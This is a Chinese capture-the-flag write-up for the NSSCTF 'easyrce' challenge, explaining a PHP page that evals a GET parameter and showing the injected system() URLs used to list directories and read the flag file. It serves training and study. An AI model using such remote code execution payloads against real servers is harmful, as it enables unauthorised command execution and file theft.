本文主要是介绍[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
先看网页
代码审计:
error_reporting(0); :关闭报错,代码的错误将不会显示
highlight_file(__FILE__); :将当前文件的源代码显示出来
eval($_GET['url']); :将url的值作为php代码执行
解题:
题目既然允许我们自己输入代码,那我们就先ls查看文件
http://node5.anna.nssctf.cn:28422/?url=system('ls');
注意,因为eval函数是把url的值当成php代码,所以记得遵守php代码的书写规范,在最后加个分号:
可以看到只有一个index.php,那我们尝试往它的父目录找flag
http://node5.anna.nssctf.cn:28422/?url=system('cd ../;ls');
没有flag,再往上
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../;ls');
没有,再往上
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls');
有了,我们直接打开flag
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls;cat flllllaaaaaaggggggg');
这样就得到flag了。
其实这道题快的话可以运用如下payload
http://node5.anna.nssctf.cn:28422/?url=system('ls /');
其中system('ls /');是列出根目录的文件,这道题的flag正好在根目录上
http://node5.anna.nssctf.cn:28422/?url=system('cat /f*');
其中system('cat /f*');是查看文件系统中以f开头的文件
这篇关于[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!